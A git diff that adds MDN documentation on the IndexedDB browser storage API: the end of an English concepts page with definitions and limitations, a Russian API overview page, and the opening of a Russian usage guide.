+  <p><strong>IndexedDB uses a lot of requests. </strong>Requests are objects that receive the success or failure DOM events that were mentioned previously. They have <code style="font-size: 14px;">onsuccess</code> and <code style="font-size: 14px;">onerror</code> properties, and you can call <code style="font-size: 14px;">addEventListener()</code> and <code style="font-size: 14px;">removeEventListener()</code> on them. They also have <code style="font-size: 14px;">readyState</code>, <code style="font-size: 14px;">result</code>, and <code style="font-size: 14px;">errorCode</code> properties that tell you the status of the request. The <code style="font-size: 14px;">result</code> property is particularly magical, as it can be many different things, depending on how the request was generated (for example, an <code style="font-size: 14px;">IDBCursor</code> instance, or the key for a value that you just inserted into the database).</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB uses DOM events to notify you when results are available.</strong> DOM events always have a <code style="font-size: 14px;">type</code> property (in IndexedDB, it is most commonly set to <code style="font-size: 14px;">"success"</code> or <code style="font-size: 14px;">"error"</code>). DOM events also have a <code style="font-size: 14px;">target</code> property that indicates where the event is headed. In most cases, the <code style="font-size: 14px;">target</code> of an event is the <code style="font-size: 14px;">IDBRequest</code> object that was generated as a result of doing some database operation. Success events don't bubble up and they can't be canceled. Error events, on the other hand, do bubble, and can be cancelled. This is quite important, as error events abort whatever transactions they're running in, unless they are cancelled.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB is object-oriented.</strong> IndexedDB is not a relational database with tables representing collections of rows and columns. This important and fundamental difference affects the way you design and build your applications.</p>
+
+  <p>In a traditional relational data store, you would have a table that stores a collection of rows of data and columns of named types of data. IndexedDB, on the other hand, requires you to create an object store for a type of data and simply persist JavaScript objects to that store. Each object store can have a collection of indexes that makes it efficient to query and iterate across. If you are not familiar with object-oriented database management systems, read the <a class="external" href="https://en.wikipedia.org/wiki/Object_database" title="http://en.wikipedia.org/wiki/Object_database">Wikipedia article on object database</a>.</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB does not use </strong><strong>Structured Query Language (<abbr>SQL</abbr>).</strong> It uses queries on an index that produces a cursor, which you use to iterate across the result set. If you are not familiar with NoSQL systems, read the <a class="external" href="https://en.wikipedia.org/wiki/NoSQL" title="http://en.wikipedia.org/wiki/NoSQL">Wikipedia article on NoSQL</a>.</p>
+ </li>
+ <li>
+  <p><a name="origin"><strong>IndexedDB adheres to a same-origin policy</strong></a>. An origin is the domain, application layer protocol, and port of a URL of the document where the script is being executed. Each origin has its own associated set of databases. Every database has a name that identifies it within an origin.</p>
+
+  <p>The security boundary imposed on IndexedDB prevents applications from accessing data with a different origin. For example, while an app or a page in <a class="external" href="http://www.example.com/app/" rel="freelink">http://www.example.com/app/</a> can retrieve data from <a class="external" href="http://www.example.com/dir/" rel="freelink">http://www.example.com/dir/</a>, because they have the same origin, it cannot retrieve data from <a class="external" href="http://www.example.com:8080/dir/" rel="freelink">http://www.example.com:8080/dir/</a> (different port) or <a class="link-https" href="https://www.example.com/dir/" rel="freelink">https://www.example.com/dir/</a> (different protocol), because they have different origins.</p>
+
+  <div class="note"><strong>Note</strong>: Third party window content (e.g. {{htmlelement("iframe")}} content) can access the IndexedDB store for the origin it is embedded into, unless the browser is set to <a href="https://support.mozilla.org/en-US/kb/disable-third-party-cookies">never accept third party cookies</a> (see {{bug("1147821")}}.)</div>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">Definitions</h2>
+
+<p>This section defines and explains terms used in the IndexedDB API.</p>
+
+<h3 id="database" name="database">Database</h3>
+
+<dl>
+ <dt><a name="gloss_database">database</a></dt>
+ <dd>A repository of information, typically comprising one or more <a href="#gloss_object_store" title="#gloss_object_store"><em>object stores</em></a>. Each database must have the following:
+ <ul>
+  <li>Name. This identifies the database within a specific origin and stays constant throughout its lifetime. The name can be any string value (including an empty string).</li>
+  <li>
+   <p>Current <a href="#gloss_version"><em>version</em></a>. When a database is first created, its version is the integer 1 if not specified otherwise. Each database can have only one version at any given time.</p>
+  </li>
+ </ul>
+ </dd>
+ <dt><a name="durable">durable</a></dt>
+ <dd>
+ <p>In Firefox, IndexedDB used to be <strong>durable</strong>, meaning that in a readwrite transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk.</p>
+
+ <p>As of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}), which is the same behaviour as other IndexedDB-supporting browsers. In this case the {{Event("complete")}} event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare, most consumers should not need to concern themselves further.</p>
+
+ <div class="note">
+ <p><strong>Note</strong>: In Firefox, if you wish to ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}.) This is currently experimental, and can only be used if the <code>dom.indexedDB.experimental</code> pref is set to <code>true</code> in <code>about:config</code>.</p>
+ </div>
+ </dd>
+ <dt><a name="gloss_object_store">object store</a></dt>
+ <dd>
+ <p>The mechanism by which data is stored in the database. The object store persistently holds records, which are key-value pairs. Records within an object store are sorted according to the <em><a href="#gloss_key">keys</a></em> in an ascending order.</p>
+
+ <p>Every object store must have a name that is unique within its database. The object store can optionally have a <em><a href="#gloss_keygenerator">key generator</a></em> and a <em><a href="#gloss_keypath">key path</a></em>. If the object store has a key path, it is using <em><a href="#gloss_inline_key">in-line keys</a></em>; otherwise, it is using <em><a href="#gloss_outofline_key">out-of-line keys</a></em>.</p>
+
+ <p>For the reference documentation on object store, see {{domxref("IDBObjectStore")}}.</p>
+ </dd>
+ <dt><a name="gloss_version">version</a></dt>
+ <dd>When a database is first created, its version is the integer 1. Each database has one version at a time; a database can't exist in multiple versions at once. The only way to change the version is by opening it with a greater version than the current one. This will start a <a href="/en-US/docs/Web/API/IDBVersionChangeRequest"><code>versionchange</code></a> <em>transaction</em> and fire an <a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB"><code>upgradeneeded</code></a> event. The only place where the schema of the database can be updated is inside the handler of that event.</dd>
+ <dd>Note: This definition describes the <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">most recent specification</a>, which is only implemented in up-to-date browsers. Old browsers implemented the now deprecated and removed <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()" title="/en-US/docs/IndexedDB/IDBDatabase#setVersion()"><code>IDBDatabase.setVersion()</code></a> method.</dd>
+ <dt><a name="gloss_database_connection">database connection</a></dt>
+ <dd>An operation created by opening a <em><a href="#gloss_database">database</a></em>. A given database can have multiple connections at the same time.</dd>
+ <dt><a name="gloss_transaction">transaction</a></dt>
+ <dd>
+ <p>An atomic set of data-access and data-modification operations on a particular database. It is how you interact with the data in a database. In fact, any reading or changing of data in the database must happen in a transaction.</p>
+
+ <p>A database connection can have several active transactions associated with it at a time, so long as the writing transactions do not have overlapping <a href="#scope"><em>scopes</em></a>. The scope of transactions, which is defined at creation, determines which object stores the transaction can interact with and remains constant for the lifetime of the transaction. So, for example, if a database connection already has a writing transaction with a scope that just covers the <code>flyingMonkey</code> object store, you can start a second transaction with a scope of the <code>unicornCentaur</code> and <code>unicornPegasus</code> object stores. As for reading transactions, you can have several of them — even overlapping ones.</p>
+
+ <p>Transactions are expected to be short-lived, so the browser can terminate a transaction that takes too long, in order to free up storage resources that the long-running transaction has locked. You can abort the transaction, which rolls back the changes made to the database in the transaction. And you don't even have to wait for the transaction to start or be active to abort it.</p>
+
+ <p>The three modes of transactions are: <code>readwrite</code>, <code>readonly</code>, and <code>versionchange</code>. The only way to create and delete object stores and indexes is by using a <a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB"><code>versionchange</code></a> transaction. To learn more about transaction types, see the reference article for <a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB</a>.</p>
+
+ <p>Because everything happens within a transaction, it is a very important concept in IndexedDB. To learn more about transactions, especially on how they relate to versioning, see {{domxref("IDBTransaction")}}, which also has reference documentation.</p>
+ </dd>
+ <dt><a name="gloss_request">request</a></dt>
+ <dd>The operation by which reading and writing on a database is done. Every request represents one read or write operation.</dd>
+ <dt><a name="gloss_index">index</a></dt>
+ <dd>
+ <p>An index is a specialized object store for looking up records in another object store, called the <em>referenced object store</em>. The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refer to the object store are automatically updated.</p>
+
+ <p>Alternatively, you can also look up records in an object store using the <a href="#gloss_key"> key</a><em>.</em></p>
+
+ <p>To learn more on using indexes, see <a href="/en/IndexedDB/Using_IndexedDB#Using_an_index" title="en/IndexedDB/Using_IndexedDB#Using_an_index">Using IndexedDB</a>. For the reference documentation on index, see <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a>.</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">Key and value</h3>
+
+<dl>
+ <dt><a name="gloss_key">key</a></dt>
+ <dd>
+ <p>A data value by which stored values are organized and retrieved in the object store. The object store can derive the key from one of three sources: a <em><a href="#gloss_keygenerator">key generator</a></em>, a <em><a href="#gloss_keypath">key path</a></em>, or an explicitly specified value. The key must be of a data type that has a number that is greater than the one before it. Each record in an object store must have a key that is unique within the same store, so you cannot have multiple records with the same key in a given object store.</p>
+
+ <p>A key can be one of the following types: <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float, a binary blob, and <a href="/en/JavaScript/Reference/Global_Objects/Array" title="en/JavaScript/Reference/Global Objects/Array">array</a>. For arrays, the key can range from an empty value to infinity. And you can include an array within an array.</p>
+
+ <p>Alternatively, you can also look up records in an object store using the <em><a href="#gloss_index">index</a>.</em></p>
+ </dd>
+ <dt><a name="gloss_keygenerator">key generator</a></dt>
+ <dd>A mechanism for producing new keys in an ordered sequence. If an object store does not have a key generator, then the application must provide keys for records being stored. Generators are not shared between stores. This is more a browser implementation detail, because in web development, you don't really create or access key generators.</dd>
+ <dt><a name="gloss_inline_key">in-line key</a></dt>
+ <dd>A key that is stored as part of the stored value. It is found using a <em>key path</em>. An in-line key can be generated using a generator. After the key has been generated, it can then be stored in the value using the key path or it can also be used as a key.</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key</a></dt>
+ <dd>A key that is stored separately from the value being stored.</dd>
+ <dt><a name="gloss_keypath">key path</a></dt>
+ <dd>Defines where the browser should extract the key from in the object store or index. A valid key path can include one of the following: an empty string, a JavaScript identifier, or multiple JavaScript identifiers separated by periods or an array containing any of those. It cannot include spaces.</dd>
+ <dt><a name="gloss_value">value</a></dt>
+ <dd>
+ <p>Each record has a value, which could include anything that can be expressed in JavaScript, including <a href="/en/JavaScript/Reference/Global_Objects/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a>, <a href="/en/JavaScript/Reference/Global_Objects/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a>, <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" rel="internal" title="en/JavaScript/Reference/Global_Objects/Array">array</a>, <a href="/en/JavaScript/Reference/Global_Objects/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a>, and null.</p>
+
+ <p>When an object or array is stored, the properties and values in that object or array can also be anything that is a valid value.</p>
+
+ <p><a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a> and files can be stored, cf. <a class="external" href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">specification</a> {{ fx_minversion_inline("11") }}.</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">Range and scope</h3>
+
+<dl>
+ <dt id="scope"><a id="gloss_scope" name="gloss_scope">scope</a></dt>
+ <dd>The set of object stores and indexes to which a transaction applies. The scopes of read-only transactions can overlap and execute at the same time. On the other hand, the scopes of writing transactions cannot overlap. You can still start several transactions with the same scope at the same time, but they just queue up and execute one after another.</dd>
+ <dt id="cursor"><a id="gloss_cursor" name="gloss_cursor">cursor</a></dt>
+ <dd>A mechanism for iterating over multiple records with a <em>key range</em>. The cursor has a source that indicates which index or object store it is iterating. It has a position within the range, and moves in a direction that is increasing or decreasing in the order of record keys. For the reference documentation on cursors, see {{domxref("IDBCursor")}}.</dd>
+ <dt id="key_range"><a id="gloss_keyrange" name="gloss_keyrange">key range</a></dt>
+ <dd>
+ <p>A continuous interval over some data type used for keys. Records can be retrieved from object stores and indexes using keys or a range of keys. You can limit or filter the range using lower and upper bounds. For example, you can iterate over all values of a key between x and y.</p>
+
+ <p>For the reference documentation on key range, see {{domxref("IDBKeyRange")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">Limitations</h2>
+
+<p>IndexedDB is designed to cover most cases that need client-side storage. However, it is not designed for a few cases like the following:</p>
+
+<ul>
+ <li>Internationalized sorting. Not all languages sort strings in the same way, so internationalized sorting is not supported. While the database can't store data in a specific internationalized order, you can sort the data that you've read out of the database yourself. Note, however, that <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Locale-aware_sorting">locale-aware sorting</a> has been allowed with an experimental flag enabled (currently for Firefox only) since Firefox 43.</li>
+ <li>Synchronizing. The API is not designed to take care of synchronizing with a server-side database. You have to write code that synchronizes a client-side indexedDB database with a server-side database.</li>
+ <li>Full text searching. The API<span style="direction: ltr;"> does not have an</span><span style="direction: ltr;"> equivalent of the <code>LIKE</code> operator in SQL. </span></li>
+</ul>
+
+<p>In addition, be aware that browsers can wipe out the database, such as in the following conditions:</p>
+
+<ul>
+ <li>The user requests a wipe out. Many browsers have settings that let users wipe all data stored for a given website, including cookies, bookmarks, stored passwords, and IndexedDB data.</li>
+ <li>The browser is in private browsing mode. Some browsers, have "private browsing" (Firefox) or "incognito" (Chrome) modes. At the end of the session, the browser wipes out the database.</li>
+ <li>The disk or quota limit has been reached.</li>
+ <li>The data is corrupt.</li>
+ <li>An incompatible change is made to the feature.</li>
+</ul>
+
+<p>The exact circumstances and browser capabilities change over time, but the general philosophy of the browser vendors is to make the best effort to keep the data when possible.</p>
+
+<h2 id="next" name="next">Next steps</h2>
+
+<p>With these big concepts under our belts, we can get to more concrete stuff. For a tutorial on how to use the API, see <a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/"><span style="direction: ltr;">Indexed Database API Specification</span></a></li>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+ <li><a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browser</a></li>
+</ul>
diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..7c1afe25b8
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/index.html
@@ -0,0 +1,160 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+tags:
+  - API
+  - Database
+  - NeedsTranslation
+  - Reference
+  - Référence(2)
+  - TopicStub
+translation_of: Web/API/IndexedDB_API
+---
+<div>{{DefaultAPISidebar("IndexedDB")}}</div>
+
+<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объема структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a>  полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: IndexedDB API мощные, но могут казаться слишком сложными для простых задач. Если вы предпочитаете простые API, попробуйте библиотеки, такие как <a href="https://localforage.github.io/localForage/">localForage</a>, <a href="http://www.dexie.org/">dexie.js</a> и <a href="https://github.com/erikolson186/zangodb">ZangoDB</a>, делающие IndexedDB более дружественным.</p>
+</div>
+
+<h2 id="Ключевые_концепции_и_использование">Ключевые концепции и  использование</h2>
+
+<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранен. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p>
+
+<ul>
+ <li>Читайте больше о <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Концепции IndexedDB</a>.</li>
+ <li>Изучите асинхронное использование IndexedDB по первоначальным принципам с руководством <a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a>.</li>
+ <li>Найдите рекомендации по разработке, чтобы заставить ваш сайт работать вне сети, на странице <a href="/en-US/Apps/Build/Offline">Offline Apps</a>.</li>
+</ul>
+
+<div class="note">
+<p><strong>Заметка</strong>: Как и большинство решений web-хранения, IndexedDB следует аналогичной <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому вы имеете доступ к хранилищу данных в пределах одного домена, но не можете получать их с любого другого.</p>
+</div>
+
+<h3 id="Синхронность_и_асинхронность">Синхронность и асинхронность</h3>
+
+<p>Выполнение операций использующих IndexedDB происходит асинхронно, т. е. не блокирует приложение. IndexedDB первоначально включал синхронные и асинхронные API. Синхронные API предназначались только для работы с <a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Web Workers</a>, но были удалены из спецификации, потому что было неясно, нужны ли они. Однако, синхронные API могут быть повторно введены, если появится спрос со стороны веб разработчиков. </p>
+
+<h3 id="Ограничения_памяти_и_критерии_освобождения">Ограничения памяти и критерии освобождения </h3>
+
+<p>Существует несколько веб-технологий, которые хранят данные того или иного вида на стороне клиента (т.е. на вашем локальном диске). Под IndexedDB чаще всего подразумевают одно. Процесс, в котором браузер вычисляет сколько места нужно выделить для хранения веб-данных. <a href="https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criteria">Ограничение памяти браузера и критерии особождения </a>пытаются объяснить как это работает, по крайней мере в случае с Firefox.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Чтобы получить доступ к базе данных, вызовите метод  <a href="/en-US/docs/Web/API/IDBFactory.open"><code>open()</code></a> y атрибута <a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB"><code>indexedDB</code></a>  объекта <a href="/en-US/docs/DOM/window">window</a>. Этот метод возвращает объект {{domxref("IDBRequest")}} ; асинхронные операции связываются с вызывающим приложением, вызывая события объекта {{domxref("IDBRequest")}} .</p>
+
+<h3 id="Подключение_к_базе_данных">Подключение к базе данных</h3>
+
+<dl>
+ <dt>{{domxref("IDBEnvironment")}}</dt>
+ <dd>Предоставляет доступ к функциям IndexedDB. Реализовано объектами {{domxref("window")}} и {{domxref("worker")}}.</dd>
+ <dt>{{domxref("IDBFactory")}}</dt>
+ <dd>Предоставляет доступ к базе данных. Этот интерфейс представлен глобальным объектом <code><a href="/en-US/docs/Web/API/IDBEnvironment.indexedDB">indexedDB</a></code>. Он является точкой входа для API.</dd>
+ <dt>{{domxref("IDBOpenDBRequest")}}</dt>
+ <dd>Представляет запрос на открытие базы данных.</dd>
+ <dt>{{domxref("IDBDatabase")}}</dt>
+ <dd>Представляет подключение к базе данных. Это единственный способ получить транзакцию в базе данных.</dd>
+</dl>
+
+<h3 id="Получение_и_изменение_данных">Получение и изменение данных</h3>
+
+<dl>
+ <dt>{{domxref("IDBTransaction")}}</dt>
+ <dd>Представляет транзакцию. Вы создаете транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd>
+ <dt>{{domxref("IDBRequest")}}</dt>
+ <dd>Generic interface that handles database requests and provides access to results.</dd>
+ <dt>{{domxref("IDBObjectStore")}}</dt>
+ <dd>Универсальный интерфейс, который обрабатывает запросы к базе данных и предоставляет доступ к результатам.</dd>
+ <dt>{{domxref("IDBIndex")}}</dt>
+ <dd>Позволяет получить доступ к подмножеству данных в IndexedDB, но вместо первичного ключа использует индекс для извлечения записи (записей). Иногда это быстрее, чем использование {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBCursor")}}</dt>
+ <dd>Итерирует по хранилищам объектов и индексам.</dd>
+ <dt>{{domxref("IDBCursorWithValue")}}</dt>
+ <dd>Итерирует по хранилищам объектов и индексам и возвращает текущее значение курсора.</dd>
+ <dt>{{domxref("IDBKeyRange")}}</dt>
+ <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне.</dd>
+ <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt>
+ <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне, отсортированных в соответствии с правилами локали, указанной для определенного индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd>
+</dl>
+
+<h3 id="Пользовательские_интерфейсы_событий">Пользовательские интерфейсы событий</h3>
+
+<p>Эта спецификация запускает события со следующим настраиваемым интерфейсом:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeEvent")}}</dt>
+ <dd>Интерфейс <code>IDBVersionChangeEvent</code> указывает, что версия базы данных изменилась в результате функции обработчика событий {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.</dd>
+</dl>
+
+<h3 id="Устаревшие_интерфейсы">Устаревшие интерфейсы</h3>
+
+<p>Ранняя версия спецификации также определяла эти теперь удаленные интерфейсы. Они все еще задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p>
+
+<dl>
+ <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt>
+ <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путем вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удаленного {{domxref("IDBVersionChangeRequest")}}.</dd>
+ <dt>{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}</dt>
+ <dd>Представляет исключения, которые могут возникнуть при выполнении операций с базой данных.</dd>
+ <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBTransaction")}}.</dd>
+ <dt>{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBObjectStore")}}.</dd>
+ <dt>{{domxref("IDBIndexSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBIndex")}}.</dd>
+ <dt>{{domxref("IDBFactorySync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBFactory")}}.</dd>
+ <dt>{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBEnvironment")}}.</dd>
+ <dt>{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBDatabase")}}.</dd>
+ <dt>{{domxref("IDBCursorSync")}} {{obsolete_inline}}</dt>
+ <dd>Синхронная версия {{domxref("IDBCursor")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<ul>
+ <li><a class="external" href="http://marco-c.github.io/eLibri/">eLibri:</a> Мощная библиотека и приложение для чтения электронных книг, написанное Марко Кастеллуччо, победителем IndexedDB Mozilla DevDerby.</li>
+ <li><a class="external" href="https://github.com/chrisdavidmills/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>): Эталонное приложение для примеров в справочной документации.</li>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">Storing images and files in IndexedDB</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td>Initial definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("IndexedDB 2")}}</td>
+   <td>{{Spec2("IndexedDB 2")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://localforage.github.io/localForage/">localForage</a>: Polyfill, предоставляющий простое имя: синтаксис значения для клиентского хранилища данных, которое использует IndexedDB в фоновом режиме, но обращается к WebSQL, а затем к localStorage в браузерах, которые не поддерживают IndexedDB.</li>
+ <li><a href="http://www.dexie.org/">Dexie.js</a>: Обертка для IndexedDB, позволяющая значительно ускорить разработку кода благодаря красивому и простому синтаксису.</li>
+ <li><a href="https://github.com/erikolson186/zangodb">ZangoDB</a>: Интерфейс, подобный MongoDB, для IndexedDB, который поддерживает большинство знакомых функций фильтрации, проекции, сортировки, обновления и агрегирования MongoDB.</li>
+ <li><a href="http://jsstore.net/">JsStore</a>: Оболочка IndexedDB с синтаксисом, подобным SQL.</li>
+ <li><a href="https://github.com/mWater/minimongo">MiniMongo</a>: Клиентский MongoDB, поддерживаемый localStorage, с синхронизацией сервера по http. MiniMongo используется в MeteorJS.</li>
+ <li><a href="https://pouchdb.com/">PouchDB</a>: Клиентская реализация CouchDB в браузере с использованием IndexedDB</li>
+ <li><a href="https://www.npmjs.com/package/idb">idb</a>: Крошечная (~1,15 КБ) библиотека, которая в основном представляет API IndexedDB, но с небольшими улучшениями, которые имеют большое значение для удобства использования.</li>
+ <li><a href="https://www.npmjs.com/package/idb-keyval">idb-keyval</a>: Суперпростое-маленькое (~600 Б) хранилище ключей на основе Promise, реализованное с помощью IndexedDB</li>
+ <li><a href="https://www.npmjs.com/package/@sifrr/storage">sifrr-storage:</a> Небольшая (~2 КБ) библиотека на основе Promise для хранения ключей и значений на стороне клиента. Работает с IndexedDB, localStorage, WebSQL, Cookies. Может автоматически использовать поддерживаемое хранилище, доступное в зависимости от приоритета.</li>
+ <li><a href="https://github.com/google/lovefield">lovefield</a>: Lovefield - это реляционная база данных для веб-приложений. Написана на JavaScript, работает кроссбраузерно. Предоставляет API-интерфейсы, подобные SQL, быстрые, безопасные и простые в использовании.</li>
+</ul>
diff --git a/files/ru/web/api/indexeddb_api/using_indexeddb/index.html b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
new file mode 100644
index 0000000000..156ef5cded
--- /dev/null
+++ b/files/ru/web/api/indexeddb_api/using_indexeddb/index.html
@@ -0,0 +1,1198 @@
+---
+title: Использование IndexedDB
+slug: Web/API/IndexedDB_API/Using_IndexedDB
+tags:
+  - API
+  - Advanced
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p>IndexedDB - это способ постоянного хранения данных внутри клиентского браузера, другими словами это NOSQL хранилище на стороне клиента. Что позволяет создавать веб-приложения с богатыми возможностями обращения к данным независимо от доступности сети, ваши приложения могут работать как онлайн, так и офлайн.</p>
+
+<h2 id="Об_этом_документе">Об этом документе</h2>
+
+<p>Это руководство по использованию асинхронного API для IndexedDB. Если вы не знакомы с IndexedDB, то обратитесь для начала к документу <a href="https://developer.mozilla.org/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB">Basic Concepts About IndexedDB</a>.<a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="en/IndexedDB/Basic Concepts Behind IndexedDB"> </a>.</p>
+
+<div class="warning">Некоторые части документа не переведены, в основном это повсеместно принятые в программировании рекомендации, такие как обработка ошибок или что-то очевидное. Тем не менее Вы можете/должны продолжить перевод. Главная цель перевода - понять основные концепции IndexedDB, обратить внимание на важные нюансы, прокомментировать исходный код и может быть добавить примеры.</div>
+
